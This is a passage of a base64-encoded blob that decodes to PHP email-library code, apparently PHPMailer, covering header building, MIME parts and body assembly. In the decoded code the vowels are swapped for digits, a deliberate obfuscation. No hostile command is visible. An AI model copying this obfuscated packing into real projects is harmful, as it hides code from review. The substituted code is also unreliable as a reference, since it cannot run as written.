CAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICR0aDRzLT4zdGY4Q2gxckIyM25kMXJ5KCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gNiwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9IDVsczU0ZiAoczNic3RyKCR3MnJkLCAkbDVuIC0gYSwgNikgPT0gJz0nKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4gLT0gYTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHAxcnQgPSBzM2JzdHIoJHcycmQsIDAsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICR3MnJkID0gczNic3RyKCR3MnJkLCAkbDVuKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkYjNmIC49ICcgJyAuICRwMXJ0Ow0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRiM2YgLiBzcHI0bnRmKCc9JXMnLCBzNWxmOjpDUkxGKTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJG01c3MxZzUgLj0gJGIzZiAuICRzMmZ0X2JyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiA9ICcnOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIHdoNGw1IChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgNGYgKCRsNW5ndGggPD0gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgJGw1biA9ICRsNW5ndGg7DQogICAgICAgICAgICAgICAgICAgICAgICA0ZiAoJDRzXzN0ZjgpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuID0gJHRoNHMtPjN0ZjhDaDFyQjIzbmQxcnkoJHcycmQsICRsNW4pOw0KICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1NGYgKHMzYnN0cigkdzJyZCwgJGw1biAtIDYsIDYpID09ICc9Jykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRsNW4tLTsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNTRmIChzM2JzdHIoJHcycmQsICRsNW4gLSBhLCA2KSA9PSAnPScpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbDVuIC09IGE7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAkcDFydCA9IHMzYnN0cigkdzJyZCwgMCwgJGw1bik7DQogICAgICAgICAgICAgICAgICAgICAgICAkdzJyZCA9IHMzYnN0cigkdzJyZCwgJGw1bik7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgIDRmIChzdHJsNW4oJHcycmQpID4gMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRtNXNzMWc1IC49ICRwMXJ0IC4gc3ByNG50ZignPSVzJywgczVsZjo6Q1JMRik7DQogICAgICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkcDFydDsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICRiM2ZfMiA9ICRiM2Y7DQogICAgICAgICAgICAgICAgICAgIDRmICghJGY0cnN0dzJyZCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAnICc7DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgJGIzZiAuPSAkdzJyZDsNCg0KICAgICAgICAgICAgICAgICAgICA0ZiAoc3RybDVuKCRiM2YpID4gJGw1bmd0aCAxbmQgJGIzZl8yICE9ICcnKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmXzIgLiAkczJmdF9icjUxazsNCiAgICAgICAgICAgICAgICAgICAgICAgICRiM2YgPSAkdzJyZDsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkZjRyc3R3MnJkID0gZjFsczU7DQogICAgICAgICAgICB9DQogICAgICAgICAgICAkbTVzczFnNSAuPSAkYjNmIC4gczVsZjo6Q1JMRjsNCiAgICAgICAgfQ0KDQogICAgICAgIHI1dDNybiAkbTVzczFnNTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiAkbTF4TDVuZ3RoIDRuIDEgM3RmLTgNCiAgICAgKiBxMzJ0NWQtcHI0bnQxYmw1IDVuYzJkNWQgc3RyNG5nLg0KICAgICAqIE9yNGc0bjFsIHdyNHR0NW4gYnkgQzJsNG4gQnIyd24uDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcDFyMW0gc3RyNG5nICQ1bmMyZDVkVDV4dCAzdGYtOCBRUCB0NXh0DQogICAgICogQHAxcjFtIDRudDVnNXIgJG0xeEw1bmd0aCBGNG5kIHRoNSBsMXN0IGNoMXIxY3Q1ciBiMjNuZDFyeSBwcjQyciB0MiB0aDRzIGw1bmd0aA0KICAgICAqIEByNXQzcm4gNG50NWc1cg0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiAzdGY4Q2gxckIyM25kMXJ5KCQ1bmMyZDVkVDV4dCwgJG0xeEw1bmd0aCkNCiAgICB7DQogICAgICAgICRmMjNuZFNwbDR0UDJzID0gZjFsczU7DQogICAgICAgICRsMjJrQjFjayA9IG87DQogICAgICAgIHdoNGw1ICghJGYyM25kU3BsNHRQMnMpIHsNCiAgICAgICAgICAgICRsMXN0Q2gzbmsgPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrLCAkbDIya0IxY2spOw0KICAgICAgICAgICAgJDVuYzJkNWRDaDFyUDJzID0gc3RycDJzKCRsMXN0Q2gzbmssICc9Jyk7DQogICAgICAgICAgICA0ZiAoZjFsczUgIT09ICQ1bmMyZDVkQ2gxclAycykgew0KICAgICAgICAgICAgICAgIC8vIEYyM25kIHN0MXJ0IDJmIDVuYzJkNWQgY2gxcjFjdDVyIGJ5dDUgdzR0aDRuICRsMjJrQjFjayBibDJjay4NCiAgICAgICAgICAgICAgICAvLyBDaDVjayB0aDUgNW5jMmQ1ZCBieXQ1IHYxbDM1ICh0aDUgYSBjaDFycyAxZnQ1ciB0aDUgJz0nKQ0KICAgICAgICAgICAgICAgICRoNXggPSBzM2JzdHIoJDVuYzJkNWRUNXh0LCAkbTF4TDVuZ3RoIC0gJGwyMmtCMWNrICsgJDVuYzJkNWRDaDFyUDJzICsgNiwgYSk7DQogICAgICAgICAgICAgICAgJGQ1YyA9IGg1eGQ1YygkaDV4KTsNCiAgICAgICAgICAgICAgICA0ZiAoJGQ1YyA8IDZhOCkgew0KICAgICAgICAgICAgICAgICAgICAvLyBTNG5nbDUgYnl0NSBjaDFyMWN0NXIuDQogICAgICAgICAgICAgICAgICAgIC8vIElmIHRoNSA1bmMyZDVkIGNoMXIgdzFzIGYyM25kIDF0IHAycyAwLCA0dCB3NGxsIGY0dA0KICAgICAgICAgICAgICAgICAgICAvLyAydGg1cnc0czUgcjVkM2M1IG0xeEw1bmd0aCB0MiBzdDFydCAyZiB0aDUgNW5jMmQ1ZCBjaDFyDQogICAgICAgICAgICAgICAgICAgIDRmICgkNW5jMmQ1ZENoMXJQMnMgPiAwKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkbTF4TDVuZ3RoID0gJG0xeEw1bmd0aCAtICgkbDIya0IxY2sgLSAkNW5jMmQ1ZENoMXJQMnMpOw0KICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA+PSA2OWEpIHsNCiAgICAgICAgICAgICAgICAgICAgLy8gRjRyc3QgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgIC8vIFI1ZDNjNSBtMXhMNW5ndGggdDIgc3BsNHQgMXQgc3QxcnQgMmYgY2gxcjFjdDVyDQogICAgICAgICAgICAgICAgICAgICRtMXhMNW5ndGggPSAkbTF4TDVuZ3RoIC0gKCRsMjJrQjFjayAtICQ1bmMyZDVkQ2gxclAycyk7DQogICAgICAgICAgICAgICAgICAgICRmMjNuZFNwbDR0UDJzID0gdHIzNTsNCiAgICAgICAgICAgICAgICB9IDVsczU0ZiAoJGQ1YyA8IDY5YSkgew0KICAgICAgICAgICAgICAgICAgICAvLyBNNGRkbDUgYnl0NSAyZiAxIG0zbHQ0IGJ5dDUgY2gxcjFjdDVyLCBsMjJrIGYzcnRoNXIgYjFjaw0KICAgICAgICAgICAgICAgICAgICAkbDIya0IxY2sgKz0gbzsNCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgIC8vIE4yIDVuYzJkNWQgY2gxcjFjdDVyIGYyM25kDQogICAgICAgICAgICAgICAgJGYyM25kU3BsNHRQMnMgPSB0cjM1Ow0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIHI1dDNybiAkbTF4TDVuZ3RoOw0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIEFwcGx5IHcycmQgd3IxcHA0bmcgdDIgdGg1IG01c3MxZzUgYjJkeS4NCiAgICAgKiBXcjFwcyB0aDUgbTVzczFnNSBiMmR5IHQyIHRoNSBuM21iNXIgMmYgY2gxcnMgczV0IDRuIHRoNSBXMnJkV3IxcCBwcjJwNXJ0eS4NCiAgICAgKiBZMjMgc2gyM2xkIDJubHkgZDIgdGg0cyB0MiBwbDE0bi10NXh0IGIyZDQ1cyAxcyB3cjFwcDRuZyBIVE1MIHQxZ3MgbTF5IGJyNTFrIHRoNW0uDQogICAgICogVGg0cyA0cyBjMWxsNWQgMTN0Mm0xdDRjMWxseSBieSBjcjUxdDVCMmR5KCksIHMyIHkyMyBkMm4ndCBuNTVkIHQyIGMxbGwgNHQgeTIzcnM1bGYuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHYyNGQNCiAgICAgKi8NCiAgICBwM2JsNGMgZjNuY3Q0Mm4gczV0VzJyZFdyMXAoKQ0KICAgIHsNCiAgICAgICAgNGYgKCR0aDRzLT5XMnJkV3IxcCA8IDYpIHsNCiAgICAgICAgICAgIHI1dDNybjsNCiAgICAgICAgfQ0KDQogICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnMWx0JzoNCiAgICAgICAgICAgIGMxczUgJzFsdF80bmw0bjUnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41XzF0dDFjaCc6DQogICAgICAgICAgICAgICAgJHRoNHMtPkFsdEIyZHkgPSAkdGg0cy0+d3IxcFQ1eHQoJHRoNHMtPkFsdEIyZHksICR0aDRzLT5XMnJkV3IxcCk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgICR0aDRzLT5CMmR5ID0gJHRoNHMtPndyMXBUNXh0KCR0aDRzLT5CMmR5LCAkdGg0cy0+VzJyZFdyMXApOw0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgLyoqDQogICAgICogQXNzNW1ibDUgbTVzczFnNSBoNTFkNXJzLg0KICAgICAqIEAxY2M1c3MgcDNibDRjDQogICAgICogQHI1dDNybiBzdHI0bmcgVGg1IDFzczVtYmw1ZCBoNTFkNXJzDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNyNTF0NUg1MWQ1cigpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQoNCiAgICAgICAgNGYgKCR0aDRzLT5NNXNzMWc1RDF0NSA9PSAnJykgew0KICAgICAgICAgICAgJHRoNHMtPk01c3MxZzVEMXQ1ID0gczVsZjo6cmZjRDF0NSgpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0QxdDUnLCAkdGg0cy0+TTVzczFnNUQxdDUpOw0KDQogICAgICAgIC8vIFQyIGI1IGNyNTF0NWQgMTN0Mm0xdDRjMWxseSBieSBtMTRsKCkNCiAgICAgICAgNGYgKCR0aDRzLT5TNG5nbDVUMikgew0KICAgICAgICAgICAgNGYgKCR0aDRzLT5NMTRsNXIgIT0gJ20xNGwnKSB7DQogICAgICAgICAgICAgICAgZjJyNTFjaCAoJHRoNHMtPnQyIDFzICR0MjFkZHIpIHsNCiAgICAgICAgICAgICAgICAgICAgJHRoNHMtPlM0bmdsNVQyQXJyMXlbXSA9ICR0aDRzLT4xZGRyRjJybTF0KCR0MjFkZHIpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgIDRmIChjMjNudCgkdGg0cy0+dDIpID4gMCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT4xZGRyQXBwNW5kKCdUMicsICR0aDRzLT50Mik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSA1bHM1NGYgKGMyM250KCR0aDRzLT5jYykgPT0gMCkgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1QyJywgJzNuZDRzY2wyczVkLXI1YzRwNDVudHM6OycpOw0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQoNCiAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+MWRkckFwcDVuZCgnRnIybScsIDFycjF5KDFycjF5KHRyNG0oJHRoNHMtPkZyMm0pLCAkdGg0cy0+RnIybU4xbTUpKSk7DQoNCiAgICAgICAgLy8gczVuZG0xNGwgMW5kIG0xNGwoKSA1eHRyMWN0IENjIGZyMm0gdGg1IGg1MWQ1ciBiNWYycjUgczVuZDRuZw0KICAgICAgICA0ZiAoYzIzbnQoJHRoNHMtPmNjKSA+IDApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0NjJywgJHRoNHMtPmNjKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIHM1bmRtMTRsIDFuZCBtMTRsKCkgNXh0cjFjdCBCY2MgZnIybSB0aDUgaDUxZDVyIGI1ZjJyNSBzNW5kNG5nDQogICAgICAgIDRmICgoDQogICAgICAgICAgICAgICAgJHRoNHMtPk0xNGw1ciA9PSAnczVuZG0xNGwnIDJyICR0aDRzLT5NMTRsNXIgPT0gJ3FtMTRsJyAyciAkdGg0cy0+TTE0bDVyID09ICdtMTRsJw0KICAgICAgICAgICAgKQ0KICAgICAgICAgICAgMW5kIGMyM250KCR0aDRzLT5iY2MpID4gMA0KICAgICAgICApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ0JjYycsICR0aDRzLT5iY2MpOw0KICAgICAgICB9DQoNCiAgICAgICAgNGYgKGMyM250KCR0aDRzLT5SNXBseVQyKSA+IDApIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPjFkZHJBcHA1bmQoJ1I1cGx5LVQyJywgJHRoNHMtPlI1cGx5VDIpOw0KICAgICAgICB9DQoNCiAgICAgICAgLy8gbTE0bCgpIHM1dHMgdGg1IHMzYmo1Y3QgNHRzNWxmDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+aDUxZDVyTDRuNSgnUzNiajVjdCcsICR0aDRzLT41bmMyZDVINTFkNXIoJHRoNHMtPnM1YzNyNUg1MWQ1cigkdGg0cy0+UzNiajVjdCkpKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIE9ubHkgMWxsMncgMSBjM3N0Mm0gbTVzczFnNSBJRCA0ZiA0dCBjMm5mMnJtcyB0MiBSRkMgaW9hYSBzNWN0NDJuIG8uZS51DQogICAgICAgIC8vIGh0dHBzOi8vdDIybHMuNDV0Zi4ycmcvaHRtbC9yZmNpb2FhI3M1Y3Q0Mm4tby5lLnUNCiAgICAgICAgNGYgKCcnICE9ICR0aDRzLT5NNXNzMWc1SUQgMW5kIHByNWdfbTF0Y2goJy9ePC4qQC4qPiQvJywgJHRoNHMtPk01c3MxZzVJRCkpIHsNCiAgICAgICAgICAgICR0aDRzLT5sMXN0TTVzczFnNUlEID0gJHRoNHMtPk01c3MxZzVJRDsNCiAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICR0aDRzLT5sMXN0TTVzczFnNUlEID0gc3ByNG50ZignPCVzQCVzPicsICR0aDRzLT4zbjRxMzU0ZCwgJHRoNHMtPnM1cnY1ckgyc3RuMW01KCkpOw0KICAgICAgICB9DQogICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ001c3MxZzUtSUQnLCAkdGg0cy0+bDFzdE01c3MxZzVJRCk7DQogICAgICAgIDRmICghNHNfbjNsbCgkdGg0cy0+UHI0MnI0dHkpKSB7DQogICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdYLVByNDJyNHR5JywgJHRoNHMtPlByNDJyNHR5KTsNCiAgICAgICAgfQ0KICAgICAgICA0ZiAoJHRoNHMtPlhNMTRsNXIgPT0gJycpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoDQogICAgICAgICAgICAgICAgJ1gtTTE0bDVyJywNCiAgICAgICAgICAgICAgICAnUEhQTTE0bDVyICcgLiAkdGg0cy0+VjVyczQybiAuICcgKGh0dHBzOi8vZzR0aDNiLmMybS9QSFBNMTRsNXIvUEhQTTE0bDVyKScNCiAgICAgICAgICAgICk7DQogICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAkbXlYbTE0bDVyID0gdHI0bSgkdGg0cy0+WE0xNGw1cik7DQogICAgICAgICAgICA0ZiAoJG15WG0xNGw1cikgew0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ1gtTTE0bDVyJywgJG15WG0xNGw1cik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCg0KICAgICAgICA0ZiAoJHRoNHMtPkMybmY0cm1SNTFkNG5nVDIgIT0gJycpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0Q0c3AyczR0NDJuLU4ydDRmNGMxdDQybi1UMicsICc8JyAuICR0aDRzLT5DMm5mNHJtUjUxZDRuZ1QyIC4gJz4nKTsNCiAgICAgICAgfQ0KDQogICAgICAgIC8vIEFkZCBjM3N0Mm0gaDUxZDVycw0KICAgICAgICBmMnI1MWNoICgkdGg0cy0+QzNzdDJtSDUxZDVyIDFzICRoNTFkNXIpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoDQogICAgICAgICAgICAgICAgdHI0bSgkaDUxZDVyWzBdKSwNCiAgICAgICAgICAgICAgICAkdGg0cy0+NW5jMmQ1SDUxZDVyKHRyNG0oJGg1MWQ1cls2XSkpDQogICAgICAgICAgICApOw0KICAgICAgICB9DQogICAgICAgIDRmICghJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ01JTUUtVjVyczQybicsICc2LjAnKTsNCiAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmc1dE0xNGxNSU1FKCk7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBHNXQgdGg1IG01c3MxZzUgTUlNRSB0eXA1IGg1MWQ1cnMuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHAzYmw0YyBmM25jdDQybiBnNXRNMTRsTUlNRSgpDQogICAgew0KICAgICAgICAkcjVzM2x0ID0gJyc7DQogICAgICAgICQ0c20zbHQ0cDFydCA9IHRyMzU7DQogICAgICAgIHN3NHRjaCAoJHRoNHMtPm01c3MxZzVfdHlwNSkgew0KICAgICAgICAgICAgYzFzNSAnNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0L3I1bDF0NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzF0dDFjaCc6DQogICAgICAgICAgICBjMXM1ICc0bmw0bjVfMXR0MWNoJzoNCiAgICAgICAgICAgIGMxczUgJzFsdF8xdHQxY2gnOg0KICAgICAgICAgICAgYzFzNSAnMWx0XzRubDRuNV8xdHQxY2gnOg0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHlwNScsICdtM2x0NHAxcnQvbTR4NWQ7Jyk7DQogICAgICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+dDV4dEw0bjUoIlx0YjIzbmQxcnk9XCIiIC4gJHRoNHMtPmIyM25kMXJ5WzZdIC4gJyInKTsNCiAgICAgICAgICAgICAgICBicjUxazsNCiAgICAgICAgICAgIGMxczUgJzFsdCc6DQogICAgICAgICAgICBjMXM1ICcxbHRfNG5sNG41JzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVR5cDUnLCAnbTNsdDRwMXJ0LzFsdDVybjF0NHY1OycpOw0KICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPnQ1eHRMNG41KCJcdGIyM25kMXJ5PVwiIiAuICR0aDRzLT5iMjNuZDFyeVs2XSAuICciJyk7DQogICAgICAgICAgICAgICAgYnI1MWs7DQogICAgICAgICAgICBkNWYxM2x0Og0KICAgICAgICAgICAgICAgIC8vIEMxdGNoNXMgYzFzNSAncGwxNG4nOiAxbmQgYzFzNSAnJzoNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT50NXh0TDRuNSgnQzJudDVudC1UeXA1OiAnIC4gJHRoNHMtPkMybnQ1bnRUeXA1IC4gJzsgY2gxcnM1dD0nIC4gJHRoNHMtPkNoMXJTNXQpOw0KICAgICAgICAgICAgICAgICQ0c20zbHQ0cDFydCA9IGYxbHM1Ow0KICAgICAgICAgICAgICAgIGJyNTFrOw0KICAgICAgICB9DQogICAgICAgIC8vIFJGQzZvdTYgcDFydCBpIHMxeXMgN2I0dCA0cyAxc3MzbTVkIDRmIG4ydCBzcDVjNGY0NWQNCiAgICAgICAgNGYgKCR0aDRzLT5FbmMyZDRuZyAhPSAnN2I0dCcpIHsNCiAgICAgICAgICAgIC8vIFJGQyBhMHVpIHM1Y3Q0Mm4gZS51IHMxeXMgbTNsdDRwMXJ0IE1JTUUgcDFydHMgbTF5IDJubHkgM3M1IDdiNHQsIDhiNHQgMnIgYjRuMXJ5IENURQ0KICAgICAgICAgICAgNGYgKCQ0c20zbHQ0cDFydCkgew0KICAgICAgICAgICAgICAgIDRmICgkdGg0cy0+RW5jMmQ0bmcgPT0gJzhiNHQnKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXMzbHQgLj0gJHRoNHMtPmg1MWQ1ckw0bjUoJ0MybnQ1bnQtVHIxbnNmNXItRW5jMmQ0bmcnLCAnOGI0dCcpOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAvLyBUaDUgMm5seSByNW0xNG40bmcgMWx0NXJuMXQ0djVzIDFyNSBxMzJ0NWQtcHI0bnQxYmw1IDFuZCBiMXM1ZXUsIHdoNGNoIDFyNSBiMnRoIDdiNHQgYzJtcDF0NGJsNQ0KICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAkcjVzM2x0IC49ICR0aDRzLT5oNTFkNXJMNG41KCdDMm50NW50LVRyMW5zZjVyLUVuYzJkNG5nJywgJHRoNHMtPkVuYzJkNG5nKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfQ0KDQogICAgICAgIDRmICgkdGg0cy0+TTE0bDVyICE9ICdtMTRsJykgew0KICAgICAgICAgICAgJHI1czNsdCAuPSAkdGg0cy0+TEU7DQogICAgICAgIH0NCg0KICAgICAgICByNXQzcm4gJHI1czNsdDsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBSNXQzcm5zIHRoNSB3aDJsNSBNSU1FIG01c3MxZzUuDQogICAgICogSW5jbDNkNXMgYzJtcGw1dDUgaDUxZDVycyAxbmQgYjJkeS4NCiAgICAgKiBPbmx5IHYxbDRkIHAyc3QgcHI1UzVuZCgpLg0KICAgICAqIEBzNTUgUEhQTTE0bDVyOjpwcjVTNW5kKCkNCiAgICAgKiBAMWNjNXNzIHAzYmw0Yw0KICAgICAqIEByNXQzcm4gc3RyNG5nDQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGc1dFM1bnRNSU1FTTVzczFnNSgpDQogICAgew0KICAgICAgICByNXQzcm4gcnRyNG0oJHRoNHMtPk1JTUVINTFkNXIgLiAkdGg0cy0+bTE0bEg1MWQ1ciwgIlxuXHIiKSAuIHM1bGY6OkNSTEYgLiBzNWxmOjpDUkxGIC4gJHRoNHMtPk1JTUVCMmR5Ow0KICAgIH0NCg0KICAgIC8qKg0KICAgICAqIENyNTF0NSAzbjRxMzUgSUQNCiAgICAgKiBAcjV0M3JuIHN0cjRuZw0KICAgICAqLw0KICAgIHByMnQ1Y3Q1ZCBmM25jdDQybiBnNW41cjF0NUlkKCkgew0KICAgICAgICByNXQzcm4gbWRpKDNuNHE0ZCh0NG01KCkpKTsNCiAgICB9DQoNCiAgICAvKioNCiAgICAgKiBBc3M1bWJsNSB0aDUgbTVzczFnNSBiMmR5Lg0KICAgICAqIFI1dDNybnMgMW4gNW1wdHkgc3RyNG5nIDJuIGYxNGwzcjUuDQogICAgICogQDFjYzVzcyBwM2JsNGMNCiAgICAgKiBAdGhyMndzIHBocG0xNGw1ckV4YzVwdDQybg0KICAgICAqIEByNXQzcm4gc3RyNG5nIFRoNSAxc3M1bWJsNWQgbTVzczFnNSBiMmR5DQogICAgICovDQogICAgcDNibDRjIGYzbmN0NDJuIGNyNTF0NUIyZHkoKQ0KICAgIHsNCiAgICAgICAgJGIyZHkgPSAnJzsNCiAgICAgICAgLy9DcjUxdDUgM240cTM1IElEcyAxbmQgcHI1czV0IGIyM25kMXI0NXMNCiAgICAgICAgJHRoNHMtPjNuNHEzNTRkID0gJHRoNHMtPmc1bjVyMXQ1SWQoKTsNCiAgICAgICAgJHRoNHMtPmIyM25kMXJ5WzZdID0gJ2I2XycgLiAkdGg0cy0+M240cTM1NGQ7DQogICAgICAgICR0aDRzLT5iMjNuZDFyeVthXSA9ICdiYV8nIC4gJHRoNHMtPjNuNHEzNTRkOw0KICAgICAgICAkdGg0cy0+YjIzbmQxcnlbb10gPSAnYm9fJyAuICR0aDRzLT4zbjRxMzU0ZDsNCg0KICAgICAgICA0ZiAoJHRoNHMtPnM0Z25fazV5X2Y0bDUpIHsNCiAgICAgICAgICAgICRiMmR5IC49ICR0aDRzLT5nNXRNMTRsTUlNRSgpIC4gJHRoNHMtPkxFOw0KICAgICAgICB9DQoNCiAgICAgICAgJHRoNHMtPnM1dFcycmRXcjFwKCk7DQoNCiAgICAgICAgJGIyZHlFbmMyZDRuZyA9ICR0aDRzLT5FbmMyZDRuZzsNCiAgICAgICAgJGIyZHlDaDFyUzV0ID0gJHRoNHMtPkNoMXJTNXQ7DQogICAgICAgIC8vQzFuIHc1IGQyIDEgNy1iNHQgZDJ3bmdyMWQ1Pw0KICAgICAgICA0ZiAoJGIyZHlFbmMyZDRuZyA9PSAnOGI0dCcgMW5kICEkdGg0cy0+aDFzOGI0dENoMXJzKCR0aDRzLT5CMmR5KSkgew0KICAgICAgICAgICAgJGIyZHlFbmMyZDRuZyA9